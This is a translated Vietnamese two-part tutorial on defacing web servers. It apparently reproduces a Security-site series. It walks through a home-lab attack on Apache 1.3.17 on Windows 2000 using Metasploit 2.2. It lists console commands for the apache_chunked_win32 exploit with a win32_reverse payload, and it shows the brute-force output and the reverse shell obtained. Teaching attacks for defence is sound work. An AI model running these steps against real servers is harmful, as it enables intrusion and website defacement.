Học hỏi từ "nghệ thuật đô thị", thế giới online cũng có nhiều cách thức phá hoại làm mất đi vẻ đẹp của web server. Những kẻ phá hoại thực hiện hành vi của mình như thế nào? Đọc bài sau bạn sẽ biết và hiểu sâu hơn cách làm của chúng. Từ đó xây dựng cho mình lớp bảo vệ an toàn trước các hoạt động nguy hiểm này.
Phá hoại website của một công ty bây giờ không còn lạ lẫm gì trong giới công nghệ. Người ta gọi những kẻ thực hiện điều này là "tầng lớp dưới cùng" của cộng đồng internet. Người ta đã đưa ra các đánh giá về tình hình là đặt một file index.html vào web server bị tấn công để xâm nhập, phá hoại website không còn quá đặc biệt. Tài năng thực thụ là những người viết mã nguồn, phát hiện ra lỗ hổng để tấn công web server đầu tiên và tạo đà cho người khác phát triển tiếp. Khi những người này công khai hoá lỗ hổng, nhiều người khác, "những đứa trẻ học phá hoại" mới bắt đầu chập chững làm lại.
Các kiểu tấn công loại này trở nên khá bình thường, giống như một chuyên gia bảo mật mạng không biết làm cách nào để tự phá trang web của mình vậy!
Muốn bảo vệ bạn phải học cách tấn công
Nếu muốn bảo vệ mạng máy tính khỏi các cuộc tấn công theo nhiều kiểu khác nhau, trước hết bạn phải biết cách chúng tấn công như thế nào. Không phải tất cả đồng nghiệp đều đồng ý với tôi về ý kiến này, nhưng sự thật là chúng ta không thể hiểu thấu được vấn đề nếu không tự mình bắt tay thực hiện chúng. Trong trường hợp cụ thể ở đây, chúng ta sẽ học cách phá một trang web như thế nào. Nếu bạn đang nghiên cứu các gói trên hệ thống dò tìm xâm nhập, bạn sẽ thấy rằng chúng giống như ai đó đang upload một trang index.html lên vậy. Nếu không, bạn sẽ phải viết và gửi đi như một người đang yêu cầu trang web.
Nếu muốn thực hiện các hoạt động phá hoại điện tử, bạn có được một số điều kiện nhất định nào đó. Trước hết là phải nắm rõ cách thức của kiểu web server, là IIS hay Apache. Điều kiện của tường lửa các công ty cung cấp cho web server như một dịch vụ cho các client có dễ phá không, các client có khả năng dễ xâm nhập không. Với các client này, phải có cổng mở trong tường lửa cho phép chúng truy cập được web server. Có thể bạn có một firewall tầng ứng dụng phù hợp giúp bảo vệ dịch vụ của mình, nhưng đó hoàn toàn là một vấn đề khác chúng ta chưa xem xét tới ở đây.
Xem xét toàn cảnh
Như chúng ta đã biết, muốn khai thác hệ thống để phá hoại cần phải đáp ứng được một số tiêu chuẩn nhất định. Bạn có thể gọi nó là hàng loạt vấn đề cũng được. Liệu dịch vụ có lỗ hổng hay không, liệu nó có bộc lộ ở web hay không, và liệu…. Bạn sẽ phải vẽ ra một bức tranh cụ thể cho mình. Những hoạt động thực tiễn chúng ta sẽ làm với tất cả các bước cần thiết để xâm nhập một web server, sau đó upload phiên bản index.html riêng lên server. Chúng ta sẽ phải lên danh sách các hoạt động cần phải làm tương ứng với hệ điều hành và kiểu web server.
Tôi đã thực hiện cuộc phá hoại minh hoạ này trong phòng làm việc tại nhà với hai laptop. Một máy cài hệ điều hành SuSE Linux, máy còn lại cài Windows 2000 Professional. Trong laptop W2K tôi cài web server nguồn mở Apache phiên bản 1.3.17. Có một số phiên bản nhiều lỗ hổng khác ra đời sau 1.3.17 nhưng chúng ta sẽ dùng phiên bản này làm ví dụ bởi vì nó có lỗ hổng mã hoá chắc chắn.
Nội dung chi tiết
Tất cả dường như có vẻ ổn, nhưng bạn mới chỉ xác định được vị trí mã nguồn để khai thác? Không chỉ có thể, bạn biết chắc chắn rằng không có các thành phần "giá trị bổ sung" trong mã khai thác hay không? Để đơn giản hoá tôi dùng Metasploit Framework. Framework này được đặt chung với HDM và spoonm. Nó còn là bản miến phí dành cho mọi người. Tính năng nâng cao khi dùng công cụ này là bạn có thể khai thác an toàn tất cả các lỗ hổng kèm theo mà không phải sợ bất kỳ backdoor nào. Framework này có thể dùng trong cả môi trường Linux hoặc win32. Bạn có thể có sự lựa chọn riêng cho mình, còn trong ví dụ này tôi dùng Linux vì server tftp đang chạy trên nó. Server này sẽ được dùng trong các hoạt động minh hoạ thử nghiệm của cả bài.
Các yêu cầu cho hoạt động tấn công một trang web đã nói ở trên gồm:
Metasploit Framework để khởi động quá trình khai thác.
Windows 2000 Professional cài đặt Apache 1.3.17.
Hai laptop kết nối với nhau qua một switch.
Metasploit
Trong phần một chúng ta sẽ xem xét sơ lược về Metasploit. Ở phần hai các bạn sẽ được hướng dẫn chi tiết từng bước cách sử dụng. Chúng tôi sẽ cung cấp một số thông tin giúp bạn có được sự hình dung ban đầu về nó. Trong bài này tôi dùng Metasploit trong Linux.
Dưới đây là toàn bộ thư mục và file tạo một lần trong Framework không bị nén.
don@linux:~/framework-2.2> dir
total 107
drwxr-xr-x 2 500 10000 112 2004-08-07 17:50 data
drwxr-xr-x 2 500 10000 744 2004-08-07 17:50 docs
drwxr-xr-x 2 500 10000 280 2004-08-07 17:50 encoders
drwxr-xr-x 2 500 10000 1288 2004-08-07 17:50 exploits
drwxr-xr-x 2 500 10000 144 2004-08-07 17:50 extras
drwxr-xr-x 6 500 10000 208 2004-08-07 17:50 lib
-rwxr-xr-x 1 500 10000 4687 2004-07-29 23:41 msfcli
-rwxr-xr-x 1 500 10000 22975 2004-07-29 23:41 msfconsole
-rwxr-xr-x 1 500 10000 5744 2004-07-05 06:52 msfdldebug
-rwxr-xr-x 1 500 10000 5639 2004-07-29 23:41 msfencode
-rwxr-xr-x 1 500 10000 1538 2004-08-07 17:58 msflogdump
-rwxr-xr-x 1 500 10000 2104 2004-07-29 23:41 msfpayload
-rwxr-xr-x 1 500 10000 9361 2004-07-27 03:38 msfpayload.cgi
-rwxr-xr-x 1 500 10000 6952 2004-07-29 23:41 msfpescan
-rwxr-xr-x 1 500 10000 12096 2004-08-08 04:37 msfupdate
-rwxr-xr-x 1 500 10000 16116 2004-08-07 18:31 msfweb
drwxr-xr-x 2 500 10000 120 2004-08-07 18:17 nops
drwxr-xr-x 3 500 10000 1664 2004-08-07 17:50 payloads
drwxr-xr-x 3 500 10000 168 2004-08-07 17:50 sdk
drwxr-xr-x 3 500 10000 80 2004-08-07 17:50 src
drwxr-xr-x 2 500 10000 216 2004-06-07 04:21 tools
don@linux:~/framework-2.2>
Còn phần dưới là cách thu hồi Framework và msfconsole cụ thể.
don@linux:~/framework-2.2> ./msfconsole
__. .__. .__. __.
_____ _____/ |______ ____________ | | ____ |__|/ |_
/ \_/ __ \ __\__ \ / ___/\____ \| | / _ \| \ __\
| Y Y \ ___/| | / __ \_\___ \ | |_> > |_( <_> ) || |
|__|_| /\___ >__| (____ /____ >| __/|____/\____/|__||__|
\/ \/ v2.2 \/ \/ |__|
+ -- --=[ msfconsole v2.2 [30 exploits - 33 payloads]
Chúng ta có thể thấy rằng Metasploit Framework thực sự có tới 30 lỗ hổng và 33 tải trọng (payload) có thể khai thác. Rất ấn tượng! Không chỉ thể, nó còn được miễn phí trong sử dụng, không giống như các bản thương mại tương tự khác. Vấn đề nan giải này sẽ tiếp tục được thực hiện ở phần sau. Chúng tôi sẽ đi sâu hơn vào cách dùng Metaspoit nhằm phục vụ cho mục đích cuối cùng đã đặt ra và kiến thức bảo mật máy tính của bạn. Mời các bạn xem tiếp phần hai.
T.Thu (Theo Security)
Trong phần hai của loạt bài này chúng ta sẽ xem xét kỹ hơn cách thức deface (tức phá hoại hay thay đổi lại giao diện) một trang Web hoàn chỉnh. Công cụ được sử dụng ở đây là chương trình bảo mật nguồn mở khá nổi tiếng Metasploit Framework. Phần hướng dẫn chi tiết giúp bạn hiểu và tạo lại chương trình dễ dàng.
Tóm tắt phần một
Chúng ta sẽ tóm lược vắn tắt nội dung đã nêu ở phần một. Ở bài trước chúng ta đã nói đến cách thức một Web server có thể bị deface như thế nào và giới thiệu công cụ sử dụng cho hoạt động thử nghiệm để tự deface là gì. Trước khi tiếp tục xin được nhắc lại là các lỗ hổng tái tạo, hay trường hợp này là hoạt động deface Web server hoàn toàn hợp pháp trong chương trình học tập về bảo mật máy tính. Tuy nhiên bạn phải làm thử nghiệm ở môi trường thí nghiệm như đã nêu trong phần một. Mặc dù biết có nhiều điểm hạn chế, nhưng ít nhất cũng thoả mãn được phần nào trí tò mò của bạn. Chúng ta cũng sẽ khai thác Metasploit để hiểu sâu hơn về các hoạt động deface Web server.
Từ lý thuyết đến thực tế
Chúng ta sẽ tiếp tục với công cụ Metasploit và cách sử dụng nó. Trước hết là tăng mức hệ thống truy cập vào Web server Apache. Khi bạn thấy lớp ngoài đảo ngược, bạn có thể upload file index.html đã được thay đổi. Nó sẽ trở thành trang mặc định được đưa lên server, chẳng hạn như bản dữ liệu log của công ty bạn.
Phần bên dưới cho biết điều gì thu được sau câu lệnh "show exploits" (đưa ra các lỗ hổng) khi bạn nhập nó ở màn hình lệnh prompt msf trong Metasploit. Danh sách các lỗi hổng có thể khai thác được đưa ra:
msf > show exploits
Metasploit Framework Loaded ExploitsBạn có thể thấy một số lỗ hổng có thể khai thác bên trong framework đã đưa ra. Danh sách trên đã được cắt bớt. Nếu bạn nhập cùng một lệnh như vậy, bạn sẽ có được danh sách đầy đủ. Chúng ta sẽ thử nghiệm với lỗ hổng thứ hai từ trên xuống: apache_chunked_win32.
====================================
Credits Metasploit Framework Credits afp_loginext AppleFileServer LoginExt PathName Buffer Overflow apache_chunked_win32 Apache Win32 Chunked Encoding blackice_pam_icq ISS PAM.dll ICQ Parser Buffer Overflow distcc_exec DistCC Daemon Command Execution exchange2000_xexch50 Exchange 2000 MS03-46 Heap Overflow frontpage_fp30reg_chunked Frontpage fp30reg.dll Chunked Encoding ia_webmail IA WebMail 3.x Buffer Overflow iis50_nsiislog_post IIS 5.0 nsiislog.dll POST Overflow iis50_printer_overflow IIS 5.0 Printer Buffer Overflow iis50_webdav_ntdll IIS 5.0 WebDAV ntdll.dll Overflow
Bây giờ nhập lệnh để chọn lỗ hổng chúng ta sẽ dùng như sau:
msf > use apache_chunked_win32Như bạn thấy ở trên, màn hình lệnh prompt xuất hiện trở lại, báo lại cho bạn biết lỗ hổng đã được chọn để dùng: apache_chunked_win32. Tiếp theo là lệnh kiểm tra các tuỳ chọn khác nhau gắn kèm với lỗ hổng dưới framework này.
msf apache_chunked_win32 >
msf apache_chunked_win32 > show options
Exploit Options
===============
Exploit Name Default Description -------- ------ ------- ------------------ optional SSL Sử dụng SSL required RHOST Địa chỉ đích required RPORT 80 Cổng đích Target: Windows NT/2K Brute Force
msf apache_chunked_win32 >Màn hình lệnh xuất hiện trở lại với danh sách các tuỳ chọn chúng ta cần điền đầy đủ như địa chỉ IP host từ xa. Chú ý là bạn cũng cần phải nhập địa chỉ IP host cục bộ, ví dụ như địa chỉ các máy tấn công của bạn trong môi trường thử nghiệm. Bạn cần nhập lệnh thiết lập các tuỳ chọn đó như sau:
msf apache_chunked_win32 > set RHOST 192.168.1.101Chúng ta sẽ xem tuỳ chọn LHOST ở phần sau trong bài này.
RHOST -> 192.168.1.101
msf apache_chunked_win32 >
Bạn thấy gì từ các tuỳ chọn khai thác lỗ hổng?
Bây giờ chúng ta sẽ thiết lập giá trị cho trường này. Sau đó tiếp tục thực hiện dần dần với các tuỳ chọn khác nhau khác trước khi sử dụng lỗ hổng để tăng mức truy cập hệ thống trên Web server. Ở đây bạn sẽ dùng lệnh sau để xem chúng ta có thể dùng được loại payload nào:
msf apache_chunked_win32 > show payloads
Metasploit Framework Usable Payloads
====================================
win32_bind
Windows Bind Shell
win32_bind_dllinject
Windows Bind DLL Inject
win32_bind_stg
Windows Staged Bind Shell
win32_bind_stg_upexec
Windows Staged Bind Upload/Execute
win32_bind_vncinject
Windows Bind VNC Server DLL Inject
win32_reverse
Windows Reverse Shell
win32_reverse_dllinject
Windows Reverse DLL Inject
win32_reverse_stg
Windows Staged Reverse Shell
win32_reverse_stg_ie
Windows Reverse InlineEgg Stager
win32_reverse_stg_upexec
Windows Staged Reverse Upload/Execute
win32_reverse_vncinject
Windows Reverse VNC Server DLL Inject
msf apache_chunked_win32 >Lựa chọn trên cho phép sử dụng bất kỳ phần nào bạn chọn. Có nghĩa là bạn sẽ có thể thực thi bất kỳ playload nào đã chọn bằng CPU của máy nạn nhân khi khai thác lỗ hổng bạn đang nhắm đến. Có thêm lựa chọn mở rộng này là một trong nhiều cách dùng tuyệt vời của công cụ bảo mật.
Có rất nhiều lựa chọn dành cho bạn. Ở trường hợp của chúng ta là win32_reverse payload vì nó giúp tạo ra được lớp vỏ bên ngoài, cho phép sử dụng được nhiều lần khai thác để tấn công. Để rõ hơn bạn có thể copy lại file index.html và điều chỉnh nó bằng cách thay đổi giao diện. Xây dựng được lớp bên ngoài cho phép chúng ta thực hiện điều đó. Còn Framework bạn có tuỳ chọn payload thì sao? Hãy xem cú pháp bên dưới:
msf apache_chunked_win32 > set PAYLOAD win32_reverseBây giờ chúng ta đã thiết lập thông số cho payload và quay trở lại màn hình lệnh. Tiếp theo là thiết lập địa chỉ IP để nhận lớp ngoài đảo ngược. Thiết lập cho host nhận cũng tương tự như một vài bước biết lập cho RHOST trước đây để đặc tả máy sẽ tấn công. Thực hiện như sau:
PAYLOAD -> win32_reverse
msf apache_chunked_win32(win32_reverse) >
msf apache_chunked_win32(win32_reverse) > set LHOST 192.168.1.102Bây giờ chúng ta đã thực sự sẵn sàng khởi động lỗ hổng. Cú pháp như sau:
LHOST -> 192.168.1.102
msf apache_chunked_win32(win32_reverse) >
msf apache_chunked_win32(win32_reverse) > exploit 192.168.1.101Từ trên bạn có thể thấy màn hình lệnh trong thư mục Apache. Có một tuỳ chọn khác chúng ta có thể sử dụng để đặc tả hệ điều hành đang dùng trong trường hợp này là "target". Ngay cả khi bạn không mô tả tường minh, nó cũng sẽ cố gắng "thu xếp" để thực hiện những việc nó có thể làm. Để dùng tuỳ chọn target (đích), thực hiện như sau:
[*] Starting Reverse Handler.
[*] Trying to exploit Windows 2000 using return 0x1c0f143c with padding of 348...
[*] Trying to exploit Windows NT using return 0x1c0f1022 with padding of 348...
[*] Trying to exploit Windows 2000 using return 0x1c0f143c with padding of 352...
[*] Trying to exploit Windows NT using return 0x1c0f1022 with padding of 352...
[*] Trying to exploit Windows 2000 using return 0x1c0f143c with padding of 356...
[*] Trying to exploit Windows NT using return 0x1c0f1022 with padding of 356...
[*] Trying to exploit Windows 2000 using return 0x1c0f143c with padding of 360...
[*] Got connection from 192.168.1.101:1031
Microsoft Windows 2000 [Version 5.00.2195]
© Copyright 1985-2000 Microsoft Corp.
C:\Program Files\Apache Group\Apache>
msf apache_chunked_win32(win32_reverse) > show targetsDanh sách các đích (target) sẽ được đưa ra. Tất cả việc bạn cần làm là chọn thứ bạn muốn và thiết lập nó như đã làm ở trên:
msf apache_chunked_win32(win32_reverse) > set TARGET 1Câu lệnh trên nhập đích thứ nhất nếu server bộ nhớ là W2K Pro,
Công việc đến đây có thể nói là đã hoàn thành. Web server Apache bây giờ đã bị bạn xâm hại và có phần bên ngoài đảo ngược. Bạn hoàn toàn có quyền kiểm soát và thao tác trên nó. Chúng ta kết thúc phần hai ở đây và sẽ tiếp tục trở lại phần ba, phần cuối cùng để thực sự phá hoại một trang Web và suy ngẫm về hậu quả phía sau của các cuộc tấn công như thế nào.
T.Thu (Theo Security)